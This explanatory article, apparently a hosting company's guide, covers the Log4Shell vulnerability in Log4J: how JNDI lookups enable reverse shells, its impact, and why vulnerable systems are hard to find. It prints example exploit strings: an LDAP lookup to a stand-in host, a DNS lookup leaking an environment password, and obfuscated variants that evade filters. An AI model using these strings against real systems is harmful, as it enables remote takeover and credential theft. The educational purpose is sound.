The Log4Shell vul­ner­a­bil­i­ty shook the cyber world at the end of 2021. Attackers were able to in­fil­trate the systems of the largest or­ga­ni­za­tions globally with little effort. Keep reading to find out what Log4Shell is and what pre­cau­tions you can take.

$1 Domain Names – Register yours today!
  • Simple reg­is­tra­tion
  • Premium TLDs at great prices
  • 24/7 personal con­sul­tant included
  • Free privacy pro­tec­tion for eligible domains

What is Log4Shell about?

Log4Shell is one of the most serious Java vul­ner­a­bil­i­ties dis­cov­ered to date. In addition to tapping sensitive data, the vul­ner­a­bil­i­ty can be exploited to open reverse shells on remote systems. If a reverse shell exists, attackers can insert further malicious code or take over the system com­plete­ly. The US National Vul­ner­a­bil­i­ty Database (NVD) rated the Log4Shell vul­ner­a­bil­i­ty as “Critical” with the highest score of 10.0, giving it the widest scope to date.

The un­der­ly­ing vul­ner­a­bil­i­ty was located in the widely used Java logging library Log4J. More than 35,000 packages on Maven Central, the largest Java repos­i­to­ry, were affected by the vul­ner­a­bil­i­ty once it became known. Log4Shell threat­ened thousands of products from hundreds of vendors. Hardware solutions were also affected in addition to cloud services and software.

The fact that the Log4Shell vul­ner­a­bil­i­ty had existed since 2013 was par­tic­u­lar­ly worrying. It went unnoticed by the public, which made it possible to in­fil­trate a wide variety of systems, including those of large providers. We know now that pro­fes­sion­al groups such as in­tel­li­gence services and hackers actively exploited the vul­ner­a­bil­i­ty to attack systems and steal data.

What is the Log4Shell vul­ner­a­bil­i­ty based on?

“Log4Shell” describes the basic operating principle of the vul­ner­a­bil­i­ty. A vul­ner­a­bil­i­ty in the Java logging library Log4J is exploited to launch a reverse shell on a remote system. But what is Log4J and what is a reverse shell exactly?

The Log4J library is main­tained by the Apache Software Foun­da­tion. It is one of the most widely used standard tools for logging in Java. Logging func­tion­al­i­ty is an essential part of larger systems which are con­tin­u­ous­ly gen­er­at­ing, eval­u­at­ing, and storing status messages. Data logged by default includes header in­for­ma­tion which is trans­mit­ted to web servers in HTTP requests. Below is an example of an Apache log entry. The last part is the user agent string:

93.184.216.34 - - [20/May/2022:11:02:13 -100] "GET / HTTP/1.1" 200 117 "-" "Mozilla/5.0 Chrome/60.0.3112.113"

A reverse shell is a gateway which allows attackers to ma­nip­u­late or take over a remote system. Starting a reverse shell is in every criminal hacker’s reper­toire. It usually requires existing access to the affected system, which can be created with little effort by ex­ploit­ing the Log4Shell vul­ner­a­bil­i­ty.

The string sub­sti­tu­tions in the Log4J func­tion­al­i­ty are the main problem with the Log4Shell vul­ner­a­bil­i­ty. Sub­sti­tu­tions allow dynamic content to be inserted in place­hold­ers. This is similar to the sub­sti­tu­tion of variables in shell scripts. In terms of security, it is prob­lem­at­ic if the contents of sub­sti­tu­tions can be ma­nip­u­lat­ed from the outside. This is exactly the case when user-defined data such as the user agent string is logged.

Let’s take a look at how sub­sti­tu­tions are con­struct­ed and how they work. The general syntax of a sub­sti­tu­tion consists of two parts. The first is a place­hold­er which is formed with a dollar sign followed by curved brackets and the second is a prefix-name which separated by a colon:

${prefix:name}

The prefix specifies the type of sub­sti­tu­tion which should be carried out. The following sample code is sub­sti­tut­ed with the Java version of the running system when executed:

${java:version}

It possible for attackers to exploit known re­spec­tive Java vul­ner­a­bil­i­ties with this seemingly harmless example. In fact, several possible sub­sti­tu­tions are critical to the system’s security. In the context of Log4Shell, JNDI lookup sub­sti­tu­tions became par­tic­u­lar­ly notorious.

The Java Naming and Directory Interface (JNDI) allows you to reload con­fig­u­ra­tions from a local Java class. However, it is also possible to load con­fig­u­ra­tions from a remote system using JNDI. Log4Shell attacks used an LDAP server under the attacker’s control, which delivered the malicious code to open the reverse shell. This is because a Java class can contain arbitrary code.

It was therefore suf­fi­cient to sub­sti­tute a string of the form ${jndi:ldap://example.com/evil-file} into a system with vul­ner­a­ble Log4J. Exploit code can be reloaded from an LDAP server once the sub­sti­tu­tion is triggered. The exploit can be carried out on the vul­ner­a­ble system. This allows scareware and other malware to be installed depending on the attacker’s target.

Tip

The prefixes “env” and “base64” can also be used for attacks. Below is an overview of the available sub­sti­tu­tion prefixes including the context:

Sub­sti­tu­tion prefix Context
base64 Base64 encoded value
bundle Value extracted from a resource bundle
ctx Thread Context Map
date Current date
env En­vi­ron­ment variable value
java Java en­vi­ron­ment value
jndi JNDI lookup value
jvm­runargs JVM argument value
Log4J Log4J con­fig­u­ra­tion property
main Main function parameter value
map MapMes­sage value
sd Struc­tured­DataMes­sage value
sys System property value
Tip

Rent a cloud server with IONOS with Windows or Linux.

How does a Log4Shell exploit work?

A vul­ner­a­bil­i­ty can be exploited by following a specific procedure. This is called an exploit. Multiple exploits often exist for a single vul­ner­a­bil­i­ty. This is also the case with Log4Shell. There were two main types of attack once it became known. They differed in the JNDI used:

1. Take over server or device

A reverse shell is launched on the target system in this type of attack. This may involve ad­di­tion­al exploits to execute malicious code on the target system. This situation is possible by logging a specially prepared string.

To attack a vul­ner­a­ble web server, it is suf­fi­cient to query any resource and use an exploit string as a user agent. The web server logs the exploit string, the sub­sti­tu­tion is executed, and the attack begins. Below is an example of a logged exploit string:

93.184.216.34 - - [20/May/2022:11:02:13 -100] "GET / HTTP/1.1" 200 117 "-" "${jndi:ldap://example.com/evil-file}"

2. Tap sensitive data

This type of attack reads sensitive data in the form of en­vi­ron­ment variables from the target system. The exploit relies on dy­nam­i­cal­ly creating an apparent DNS name res­o­lu­tion by sub­sti­tu­tion. This involves encoding the value of an en­vi­ron­ment variable as a subdomain:

${jndi:dns://${env:DB_PASS}.example.com}

Attackers use a system under their own control as a bridge­head in both cases. In the first case, it is an LDAP server that delivers malicious code. In the second case, the name server where the DNS request is sent is under the control of the attackers. Let’s look at this case in detail.

Let’s imagine that an en­vi­ron­ment variable named “DB_PASS” on the vul­ner­a­ble system contains the password for a database. Let’s assume that the value is e3Ct­DewU­UwAfi­wWTF­tAh­fet­tlQ2Lp5. The exploit string ${jndi:dns://${env:DB_PASS}.example.com} triggers a DNS query for the subdomain e3Ct­DewU­UwAfi­wWTF­tAh­fet­tlQ2Lp5.example.com.

The DNS request for example.com goes to the name server under control of the attackers. The malicious name server reads the value of the subdomain and stores it. The attackers then obtain the vul­ner­a­ble server’s database password.

Tip

Protect your domains with IONOS Domain Security.

What made the Log4Shell vul­ner­a­bil­i­ty so dis­as­trous?

The Log4Shell vul­ner­a­bil­i­ty resulted from a com­bi­na­tion of risk factors. Let’s look at the most important ones:

1.The Java vul­ner­a­bil­i­ty is in the logging library.

A logging library like Log4J seems rel­a­tive­ly harmless at first. A logging library is likely to be viewed less crit­i­cal­ly, in com­par­i­son to libraries for au­then­ti­ca­tion or en­cryp­tion.

2. Java is widely used.

Java’s unique selling point as a language and en­vi­ron­ment is that Java runs on virtually all platforms. Therefore, the Log4Shell vul­ner­a­bil­i­ty can affect an enormous number of programs and services. Java is also partly in­te­grat­ed in embedded systems such as routers and Internet of Things devices. These include private cameras and smart home devices.

3. A stack of tech­nolo­gies is involved.

The security problem arises from the linking of several tech­nolo­gies. The com­bi­na­tion of Log4J, JNDI, LDAP and string sub­sti­tu­tions leads to the security gap and opens the door to attacks.

4. The exploit seeps to deeper levels.

In a best-case scenario, the damage can remain localized if a vul­ner­a­bil­i­ty only affects the vul­ner­a­ble system. However, let’s imagine that an exploit string is received and logged with a web interface. The exploit string can possibly be passed on to un­der­ly­ing systems and only become active when evaluated there.

5. Exploit strings are difficult to detect.

There are many ways to disguise malicious code due to the com­plex­i­ty of possible sub­sti­tu­tions. For example, nested sub­sti­tu­tions are possible. A string of the form ${${lower:j}ndi} does not directly contain the string jndi and cannot be au­to­mat­i­cal­ly filtered. The string ${jndi} is only created during res­o­lu­tion. It is also possible to disguise parts of the code with Base64 encoding, eval­u­at­ing the string ${base64:SGVsbG8gV29ybGQhCg==} to “Hello World!”.

What is Log4Shell’s impact on cy­ber­se­cu­ri­ty?

There were wide­spread attacks on systems worldwide following the reports of the Log4Shell vul­ner­a­bil­i­ty. Servers and devices were taken over and the theft of sensitive data was noted. Ten days after the exploits were published, the cy­ber­se­cu­ri­ty firm Wiz sum­ma­rized that:

Quote

“93% of the cloud en­ter­prise en­vi­ron­ment were vul­ner­a­ble to Log4Shell.” – Source: https://www.wiz.io/blog/10-days-later-en­ter­pris­es-halfway-through-patching-log4shell/

The systems taken over were misused to mine crypto coins, create botnets and send spam, among other things. Backdoors were also created to enable future execution of criminal ac­tiv­i­ties such as ran­somware attacks. An attack that aims to remain un­de­tect­ed and in­fil­trate more systems is known as an advanced per­sis­tent threat (APT).

Tip

We have some useful articles if you are wondering what cy­ber­se­cu­ri­ty is:

Is the Log4Shell vul­ner­a­bil­i­ty currently being actively exploited?

Larger or­ga­ni­za­tions reacted quickly once they learned about Log4Shell and took steps to protect their systems. However, there are probably many unpatched systems are still at risk. This is because attackers can scan a target system to find vul­ner­a­bil­i­ties.

Fighting against the Log4Shell vul­ner­a­bil­i­ty is made more com­pli­cat­ed by the fact that detecting vul­ner­a­ble systems can be difficult. It is not trivial to test for vul­ner­a­ble versions of Log4J when Java ap­pli­ca­tions are running as con­tain­ers or are available as an archived JAR file or container image. It is important to know if a vul­ner­a­ble version is being used in order to secure it. Otherwise the system will be vul­ner­a­ble to attack through the Log4Shell vul­ner­a­bil­i­ty.

Smart home and other IoT or embedded systems are more prob­lem­at­ic than cloud and server en­vi­ron­ments. These include networked devices such as home routers, security cameras, etc. Since the Log4Shell vul­ner­a­bil­i­ty has existed for years, it is likely that devices with insecure versions are still in use. This is likely if support has already expired or the vendor no longer exists and there are usually no patches or updates available.

Tip

Back up your business data with Cloud Backup Software with IONOS for your Business.

Is there a list of man­u­fac­tur­ers and products affected by Log4Shell?

A com­pre­hen­sive list of software affected by Log4Shell can be found on GitHub. The list is main­tained by the Dutch National Cyber Security Centrum (NCSC-NL). The list is sorted by the first letter of the re­spec­tive man­u­fac­tur­er due to the amount of vul­ner­a­ble software.

Does the Log4Shell vul­ner­a­bil­i­ty also affect private users, and what should they do?

Private users were also affected by Log4Shell. Many of the most popular online services were vul­ner­a­ble at the time of pub­li­ca­tion. These included Minecraft, Steam, AWS and Apple’s iCloud. In general, the major providers responded quickly. So there is need to delete your Steam account or switch to an AW al­ter­na­tive.

However, if you run your own Minecraft server, you should update the Minecraft server to the latest version. Sending an exploit string as a chat message can be enough to take over the server with vul­ner­a­ble versions.

Hardware used in homes or small busi­ness­es which is vul­ner­a­ble to the Log4Shell vul­ner­a­bil­i­ty can still pose a threat to home users. Pre­sent­ing a specially crafted barcode to a sur­veil­lance camera can also be enough to take over the device.

Summary

Log4Shell is the largest and most critical Java vul­ner­a­bil­i­ty in history. It’s a given that other vul­ner­a­bil­i­ties of com­pa­ra­ble severity exist and are being actively exploited con­sid­er­ing the vul­ner­a­bil­i­ty remained undis­cov­ered for years. The Log4Shell vul­ner­a­bil­i­ty im­pres­sive­ly demon­strat­ed how vul­ner­a­ble the modern digital world is.

Go to Main Menu